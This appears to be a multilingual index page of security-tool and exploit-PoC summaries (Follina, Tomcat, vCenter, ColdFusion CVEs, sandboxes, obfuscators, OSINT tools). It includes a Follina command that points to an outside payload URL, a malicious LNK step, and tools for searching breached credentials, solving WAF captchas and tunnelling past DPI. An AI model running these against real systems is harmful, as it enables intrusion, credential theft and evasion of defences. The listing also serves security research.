Peyara-FileUpload

漏洞利用标题：Peyara Remote Mouse v1.0.1 未经认证的任意文件上传 日期：2025-01-06 漏洞利用作者：tmrswrr 软件链接：https://peyara-remote-mouse.vercel.app/ 平台：Windows 版本：v1.0.1 测试环境：Windows 10 root@kitploit: 用法 : python3 combinedscript.py 创建恶意 LNK 文件 evil.lnk root@kitploit: $WshShell = New-Object -ComObject WScript.Shell $Shortcut ...

EsFileExplorer-CVE-2019-6447

EsFileExplorer-CVE-2019-6447 Explotando la vulnerabilidad de Android en ES File Explorer Vulnerabilidad El explorador de archivos ES fue creado por ES worldwide, que forma parte de DO Global y tiene su sede en China. Este explorador de archivos ES solo está disponible para su uso en dispositivos...

CVE-2021-21972

VMware vCenter Server RCE — CVE-2021-21972 研究实验室 作者：Niranjan Pokhrel 独立研究项目，在隔离的家庭实验室中复现并记录一个已公开披露的严重 VMware vCenter Server 漏洞，以理解漏洞类别、利用路径和防御缓解措施。 摘要 | ---|--- CVE| CVE-2021-21972 CVSSv3 基础评分| 9.8（严重） 厂商公告| VMSA-2021-0002 受影响产品| VMware vCenter Server 6.5 / 6.7 / 7.0 漏洞类别| 未认证任意文件上传 → 远程代码执行 状态| ...

security-research

Investigación de Seguridad Informes de investigación de vulnerabilidades. Cada entrada aquí corresponde a un problema corregido y públicamente rastreado — sin hallazgos teóricos. Adel Bouachraoui — hydrasecurity.fr/v10/ · LinkedIn · YesWeHack Publicado...

ColdFusionPwn

ColdFusionPwn Herramienta de explotación para CVE-2017-3066 dirigida a Adobe Coldfusion 11/12. Descripción La herramienta permite generar payloads AMF serializados para explotar la validación de entrada faltante de clases permitidas. Para más detalles, consulte nuestro artículo en el blog...

gftrace

gftrace Golang バイナリ向けのコマンドライン Windows API トレーシングツールです。 注意: このツールは PoC であり、進行中のプロトタイプですので、そのように扱ってください。フィードバックはいつでも歓迎します！ 仕組み Golang プログラムは、そのビルド方法や実行時の動作に関して多くの特徴がありますが、OS レイヤーとやり取りする必要があるため、どこかの時点で Windows API の関数を呼び出す必要があります。 Go のランタイムパッケージには asmstdcall という関数が含まれています。この関数は Windows API...

gftrace

gftrace A command line Windows API tracing tool for Golang binaries. Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome! How it works? Although Golang programs contains a lot of nuances regarding the way they are built and their...

cuckoo3

Cuckoo3 - 恶意软件分析工具 关于 Cuckoo3 是一款开源工具，用于在受控环境中测试可疑文件或链接。 它会在沙盒化平台模拟器中对其进行测试，并生成报告，显示文件或网站在测试期间执行了哪些操作。 ⚠️ 目前，您只能在装有 Python 3.10 的 LinuxUbuntu 机器上设置 Cuckoo3，并运行 Windows 沙箱。 请查看我们的 Cuckoo3 要求 了解详情。 您可以在我们的在线 Cuckoo3 沙箱中查看它的实际运行情况。 要了解我们计划的更多信息，请在此查看我们的路线图。 快速开始 为了帮助您入门，我们创建了 Quickstart 脚本，它会安装并设置好测试...

vxlang-page

VxLang 目录 文档 什么是 VxLang？ 支持的文件格式 预览 虚拟化预览 双模式（混淆 + 虚拟化）预览 混淆预览 代码扁平化预览 教程 用法与引导代码 注意事项 如何获取完整版 捐赠与订阅 Patreon 链接 活动 2026 年 6 月活动 扩展代码与插件模块。 Axion：执行附加防篡改功能的扩展代码。 ExtsDN：用于对 .NET（仅限 EXE）模块进行加壳与保护的扩展代码。 什么是 VxLang？ VxLang 是一个旨在防止逆向工程行为的项目，例如静态或动态分析、文件篡改以及攻击者未经授权访问内存。 VxLang 项目目前针对 x86-64 系统和 .NET...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 概念验证利用 PoC 针对 Apache Tomcat 反序列化漏洞 CVE-2025-24813 的概念验证利用代码。该工具演示了攻击者如何利用 Tomcat 会话管理中的不安全反序列化。 警告 ：本工具仅用于授权的安全测试和教育目的。在未获得授权的情况下对不属于自己的系统使用本工具是违法的。 功能特性 支持默认（安全）载荷和自定义载荷 支持 SSL/TLS（可选跳过证书验证） 彩色输出，提高可读性 交互式载荷选择 可配置超时时间 环境要求 Python 3.x 所需包（通过 requirements.txt 自动安装）：...

Galdralag-firmware

Galdr — Galdralag 固件 开放发明网络 本项目已在 开放发明网络（OIN） 注册。OIN 是一个防御性专利池：成员之间交叉许可与 Linux 相关的专利，使参与者能够在降低专利风险的情况下发布和使用开源软件。 状态：等待： https://github.com/betrusted-io/xous-core/pull/937 目录 开放发明网络 安全通告：Shamir 主机拆分 这是什么 Galdra 联系人元数据 该固件是什么（以及不是什么） 签名固件（Ed25519，boot0） 这是 AI 垃圾内容吗？ 测试结果 为什么选择 Rust？ 内存安全 系统级健壮性（有限度...

CVE-2025-30065

💥 CVE-2025-30065 - Parquet 反序列化 PoC 该项目演示了 CVE-2025-30065 的安全概念验证，利用 Apache Parquet 和 Java 反序列化。 当读取包含序列化 Java 对象的 Parquet 文件时，负载会执行一条可见命令以证明代码执行。 📦 使用方法 生成 Parquet 负载： root@kitploit: docker-compose run --rm maven-parquet mvn compile exec:java -Dexec.mainClass=ParquetPayloadWriter docker-compose...

CVE-2026-21440-POC-EXP

CVE-2026-21440 完整漏洞信息 📁 使用 CVE-2026-21440 PoC 脚本的简要步骤 1、依赖安装 python -m pip install --upgrade pip 2、运行测试 python CVE-2026-21440-code.py -h 3、内置 6 个预设敏感路径（-s 直接调用，不用写长路径） 4、关键参数速查（表格版，清晰易懂）...

CVE-2026-34159

CVE-2026-34159 针对 CVE-2026-34159 的零点击 RCE 漏洞利用程序，影响 Lama.cpp RPC 服务器版本 b8487 漏洞利用由 Hassan Ali @Casp3r0x0 开发 你可以在以下链接找到完整的分析文章： https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp...

crml

CRML — 网络风险建模语言（Cyber Risk Modeling Language） 状态： 草案。本项目正处于大量开发阶段，可能随时变更。 欢迎提交意见、问题和贡献。 ⚠️ 警告 该代码库目前正在 crml-dev-1.3 分支上进行开发。最新进展和权威来源请参见：https://github.com/Faux16/crml/tree/crml-dev-1.3 版本： 1.2 维护者： Zeron Research Labs 与 CyberSec Consulting LLC 支持方： 社区贡献者与早期采用者 CRML 是一种开放的、声明式的、引擎无关 且控制/攻击框架无关...

git-wild-hunt

git-wild-hunt GitHub上のワイルド（wild）で認証情報を狩るためのツール、別名 githunt スタートガイド 1. ツールをインストールする 2. GitHubトークンを設定する 3. 認証情報を検索する 4. 結果を確認する cat results.json | jq 📺 デモ インストール 必要条件: virtualenv, python3 1. git clone https://github.com/d1vious/git-wild-hunt && cd git-wild-hunt プロジェクトをクローンしてプロジェクトディレクトリに移動 2. pip...

awswaf

AWS WAF（亚马逊云服务 Web 应用防火墙）求解器 概述 本项目提供一个基于Golang和Python的AWS WAF挑战求解器。它支持 "token" / "Invisible" 和 "Captcha" 类型，使用gemini。 ⭐️ 表达支持 如果您觉得有用，请给仓库点星！您的支持有助于改进项目。❤️ 用法 Golang root@kitploit: package main import "awswaf/internal/aws" "log" func main // host & gokuProps are obtained from the initial response...

Aker

Aker SSH ゲートウェイ Akerとは？ Akerは、独自のLinux SSHジャンプ/踏み台ホストを設定するためのセキュリティツールです。エジプト神話の国境を守る神にちなんで名付けられたAkerは、すべてのシステム管理者やサポートスタッフがLinux本番サーバーにアクセスする際のチェックポイントとして機能します。Aker SSHゲートウェイには、数千台のLinuxサーバーを簡単に管理・運用するのに役立つ多くのセキュリティ機能が含まれています。詳細については、Wikiをご覧ください。 動機 CryptoAuditor や fudo...

pcc

PHP 安全配置检查器 检查当前 PHP 配置是否存在潜在安全漏洞。 只需通过 Web 服务器访问此文件或在 CLI 上运行即可。 作者 该软件由 Ben Fuhrmannek 编写，来自 SektionEins GmbH，旨在自动化 php.ini 检查并将更多时间用于愉快的工作。 理念 单个文件，易于分发 对每个安全相关的 ini 条目进行简单测试 一些其他测试——不过不太复杂 兼容 PHP = 8.1 没有复杂/过度设计的代码，例如没有类/接口、测试框架、库等 - 这应该能让初学者一目了然地了解此工具的工作原理和功能！ 没有（或极少）依赖 使用 / 安装 CLI ：只需调用 php...

pcc

PHP Secure Configuration Checker Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. Author This software was written by Ben Fuhrmannek, SektionEins GmbH, in an effort to automate php.ini checks and spend more time on cheerful...

CVE-2019-11395

CVE-2019-11395 漏洞利用 🛡️ 关于 CVE-2019-11395 🕵️ CVE-2019-11395 漏洞描述了 MailCarrier 2.51 电子邮件应用程序中的缓冲区溢出漏洞，可导致远程代码执行。该漏洞出现在 SMTP RCPT TO、POP3 USER、POP3 LIST、POP3 TOP 或 POP3 RETR 进程中。 在学术研究过程中，重点关注了 POP3 进程以创建概念验证（PoC）。研究发现，向应用程序发送 6000 字节可导致其停止运行，从而揭示缓冲区溢出漏洞。 利用步骤 🔍 1. 使用 msf-patterncreate -l 6000 精确定位...

CVE-2018-15473_OpenSSH_7.7

CVE-2018-15473OpenSSH7.7...

CVE-2021-43408

CVE-2021-43408: WordPress 插件 Duplicate Post 版本 1.1.9 - SQL 注入 I. 概述 1. 什么是 WordPress WordPress 是一款开源的 CMS（内容管理系统）软件，是一个内容管理系统。与使用 HTML 编码语言不同，WP 采用 PHP 编程语言编写，并使用 MySQL 数据库平台。WordPress 由程序员 Matt Mullenweg 和 Mike Little 创立。目前 WordPress 归 Automattic 公司所有，该公司总部位于美国加利福尼亚州旧金山。 2. CVE-2021-43408...

CVE-2020-0665

CVE-2020-0665 - Bypass de Filtro SID Prueba de Concepto para CVE-2020-0665, que permite eludir el Filtrado SID en Bosques de Active Directory Ataque entre Bosques. Requisitos para el ataque La máquina Controladora de Dominio objetivo no debe tener parches posteriores a febrero de 2020. Haber...

cved

CVED 用于管理易受攻击的 Docker 容器的工具 安装 root@kitploit: qt = 5.x docker git root@kitploit: qmake make sudo make install 使用方法 root@kitploit: 如果 docker 组尚不存在，则创建它。 sudo groupadd docker 将您的用户添加到 docker 组。 sudo usermod -aG docker $USER 注销并重新登录，以便重新评估您的组成员身份。 启动 docker 服务。 sudo systemctl start docker 启动 cved。...

accfly

你的“安全”摄像头有多安全？ 执行摘要 2020年初，在我之前的工作单位，我有机会参加了一次内部pwn2own风格的活动。有几个可用的目标，但我最感兴趣的是 Accfly 无线安全摄像头。不幸的是，我没能在实际活动中完成我的研究，但由于没有其他人尝试攻击这个设备，我继续进行了下去。 研究的主要焦点是可能导致远程代码执行（RCE）的漏洞。这种漏洞允许攻击者完全控制设备，对于视频摄像头来说，可能导致所有者隐私的完全泄露。不幸的是，该设备的固件被发现存在许多此类问题。...

CVE-2023-41992

CVE-2023-41992 这是 CVE-2023-41992 的概念验证。首先，这与 越狱 无关！并且它仍在开发中。 感谢到目前为止帮助过我的每个人。出于隐私考虑，我可能不在此列出你们。如果想让我列出，请私信我！ 补丁 据我所知，补丁位于 ipcrightdestroy 中。也有人曾在 X（或 Twitter）上指出这一点。 root@kitploit: diff --git a/osfmk/ipc/ipcright.c b/osfmk/ipc/ipcright.c index a81ac21..32a9a3e 100644 --- a/osfmk/ipc/ipcright.c ++...

CVE-2026-55040

此存储库没有 README。...

rustbof

rustbof Este proyecto permite el desarrollo de BOFs usando Rust con soporte completo de nostd. Aprovecha las características de seguridad de Rust y las herramientas modernas, produciendo objetos COFF pequeños y eficientes. El framework proporciona todo lo necesario para el desarrollo de BOFs. El...

SCCMSecrets

SCCMSecrets SCCMSecrets.py 是一款 SCCM 策略利用工具。它不仅仅提取 NAA 凭据，还旨在提供一种针对 SCCM 策略利用的综合性方法。该工具可以在不同权限级别下执行，并尝试发现与策略分发相关的潜在错误配置。有关该工具及其用法的更多详细信息，请参阅相关文章： https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial 提供两个子命令：policies 和 files。...

HyperDbg

HyperDbg Debugger HyperDbg Debugger は、Windows 向けのオープンソースのハイパーバイザ支援型デバッガです（Linux 対応は現在開発中です！）。ユーザーモードとカーネルモード（ネイティブ）の両方のデバッグをサポートしています。リバースエンジニアリング、ファジング、そして最新のハードウェア仮想化とトレーシング機能を活用した高度なシステム解析のために作られています。 HyperDbg の新リリースに関する通知を受け取るには、Twitter または Mastodon をフォローしてください。また、HyperDbg...

CVE-2025-29722

🛡️ CVE-2025-29722 – Commercify v1.0 中的跨站请求伪造（CSRF）漏洞 发现者：David P.S Abraham（又名 Davycipher） CVE 编号 CVE-2025-29722 已由 MITRE Corporation 分配给此漏洞。 摘要 在 Commercify v1.0 中发现了一个 CSRF 漏洞 ，这是一个由 @yassmittal 开发的开源电子商务平台。该应用在 /updatesettings 等关键端点上缺少适当的 CSRF 防护机制，攻击者可在其他域名下构造恶意请求来修改用户数据。 受影响产品 产品名称： Commercify...

WinFlesher

就像 PingCastle 与 Bloodhound 一起出去喝酒，然后他们真的决定干点正事。 🍷 WinFlesher 是一款先进的攻击面安全评估框架，旨在分析、评估并报告复杂环境中的安全态势、攻击路径和修复策略。 WinFlesher 专为安全专业人员和网络安全审计人员设计，可在 Active Directory 和本地基础设施中自动进行漏洞发现和关键路径关联。 功能概览 WinFlesher 提供基于遥测的模块化风险管理方法： 自动发现： 实时检测主机配置、服务、计划任务、防火墙和 LSA 配置。 Active Directory 分析： 深入分析域、信任关系、组权限以及具有暴露...

Fu3l-F1lt3r

root@kitploit: |\ \ |\ |\ |\ \ |\ / |\ \ |\ \ |\ \ \ \ /\ \ \\ ||\ /\ \ \ \ \ /|/|\ \ \ \| \ \||\ /\ \ |\ \ \ \ \ \ \\ \ |\ \ \ \ \ \ |/ \ \ \ \ \ \ \ \ |\ \ \ \ \ \ | \ \ \\ \ \ \ \ \ \ \ | \ \ \ \ \ \ \ \ \ \ \ | \ \ \ \|\ \ \ \ \ \ \ \ |\ \\ \ || ||||||...

Follina-CVE-2022-30190-POC

Nee 的 Follina-CVE-2022-30190 概念验证 用法 root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" 功能说明 创建一个恶意 Word 文件，该文件指向你指定的 payload 网址 托管位于 web 文件夹中的默认 payload 概念验证默认弹出计算器 欢迎随意修改并提交 :...

ditto

ditto PowerShell 混淆器 Ditto 是一款基于 tree-sitter-powershell 和 tree-sitter-javascript 的 PowerShell 和 JavaScript 混淆器。 命令行用法 基本命令结构 ditto-cli 选项 CLI 参数与选项 短选项| 长选项| 描述 ---|---|--- -h| --help| 显示帮助信息并退出。 -v| --version| 显示版本信息并退出。 -p | --path | 要处理的脚本文件路径。 -i | --impostor | 用于混淆的 Impostor 配置文件（不区分大小写）。...

cobaltstrike_swing_xss2rce

此存储库没有 README。...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Apache Tomcat 远程代码执行漏洞批量检测脚本CVE-2025-24813 免责申明： 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。 如涉及侵权，请及时与我们联系，我们将尽快处理并删除相关内容。 更多PoC 详见纷传： https://pc.fenchuan8.com//index?forum=101158&yqm=DGR4X 利用条件较为苛刻，该脚本仅针对存在漏洞的环境进行概念性验证 使用方式：...

CVE-2026-27199-werkzeug-safe-join-bypass-PoC

PoC CVE-2026-27199: Bypass de safejoin de Werkzeug mediante nombres de dispositivo de Windows Estado: Divulgado públicamente. Corregido en werkzeug 3.1.6. Gravedad: Moderada Reportero: @alimezar Aviso: GHSA-29vq-49wr-vm6x Versiones afectadas...

ublockdnsclient

Cliente uBlockDNS El Cliente uBlockDNS es un proyecto independiente y no está afiliado, respaldado ni relacionado con uBlock Origin ni con su mantenedor. El Cliente uBlockDNS lleva el bloqueo de anuncios y rastreadores a nivel de DNS a todo tu dispositivo. Utiliza listas de filtros mantenidas por...

holo

Holoは、大規模かつ自動化駆動型ネットワークをサポートするために設計されたルーティングプロトコルスイートです。 ルーティングプロトコルの説明については、こちらのWikipediaページを参照してください。 特徴 シンプルさと正確性への注力...

smtp-tunnel-proxy

📧 SMTP Tunnel Proxy TCPトラフィックをSMTPメール通信に偽装してDPI（深いパケット検査）ファイアウォールをバイパスする、高速な隠蔽トンネルです。 root@kitploit: ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ アプリケーション │─────▶│ クライアント │─────▶│ サーバー │─────▶│ インターネット │ │ ブラウザ │ TCP │ SOCKS5:1080 │ SMTP │ ポート587 │ TCP │ │ │ │◀─────│ │◀─────...

google-dorks-bug-bounty

バグバウンティのためのGoogle Dorks バグバウンティ、Webアプリケーションセキュリティ、ペネトレーションテストのためのGoogle Dorksのリスト ライブツール ネガティブサーチを用いた広範なドメイン検索 root@kitploit: site:example.com -www -shop -share -ir -mfa パラメータ付きPHP拡張 root@kitploit: site:example.com ext:php inurl:? APIエンドポイント root@kitploit: site:example.com inurl:api | site:/rest ...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan Este módulo de Metasploit-Framework se puede utilizar para ayudar a las empresas a comprobar las últimas vulnerabilidades de Citrix divulgadas el 08 de julio de 2020. CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 El informe público del 8 de julio de 2020 por Donny Maasland...

xolo

XOLO Author: ET Lownoise Version: 1.0 Tool to crawl, visualize and interact with SQL server links in a d3 graph to help in your red/blue/purple/.../risk assessments pentest hacking team exercises. Requirements: root@kitploit: Requests==2.18.4 Flask==0.12.2 Json Pypyodbc beautifulsoup4==4.6.0...

xolo

XOLO 著者: ET Lownoise バージョン: 1.0 SQLサーバーリンクをクロール、可視化、操作するためのツールで、d3グラフを使用して、レッド/ブルー/パープル/.../リスク評価、ペンテスト、ハッキングチーム演習に役立ちます。 要件: root@kitploit: Requests==2.18.4 Flask==0.12.2 Json Pypyodbc beautifulsoup4==4.6.0 lxml==4.1.0 例: pip install pypyodbc python -m pip install pypyodbc インストール/実行:...

CVE-2026-19912-CVE-2026-19913-CVE-2026-19914

CVE-2026-19912、CVE-2026-19913、CVE-2026-19914 捐赠...

CVE-2021-22005

CVE-2021-22005 VMware vCenter Server任意文件上传漏洞 Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 风险概述 本工具仅限授权安全测试使用,禁止未授权非法攻击站点 在线阅读《中华人民共和国网络安全法》 0x01 工具使用 python cve-2021-22005.py -h获取使用帮助 0x02 Bug问题 Bug请提交Issues，有时间会看的 0x03 已知Bug 在使用代理的情况下利用过程中所有步骤均失败 0x04 版本迭代 v0.2 更新内容...

SMWYG-Show-Me-What-You-Got

SMWYG-Show-Me-What-You-Got このツールは、組織または個人に対するOSINTおよび偵察を実行できます。BreachCompilationリークの一部としてダンプされた14億件の平文認証情報を検索できます。このデータベースにより、パスワードの検索がこれまで以上に迅速かつ簡単になります。 スクリーンショット 上記の画像では、uber.com の認証情報を検索し、203 アカウントが見つかりました。 前提条件 以下がインストールされていることを確認してください: root@kitploit: - Python 3.0 以降。 - pip3 sudo apt-get...

automatic-api-attack-tool

Automatic API Attack Tool Imperva's customizable API attack tool takes an API specification as an input, and generates and runs attacks that are based on it as an output. The tool is able to parse an API specification and create fuzzing attack scenarios based on what is defined in the API...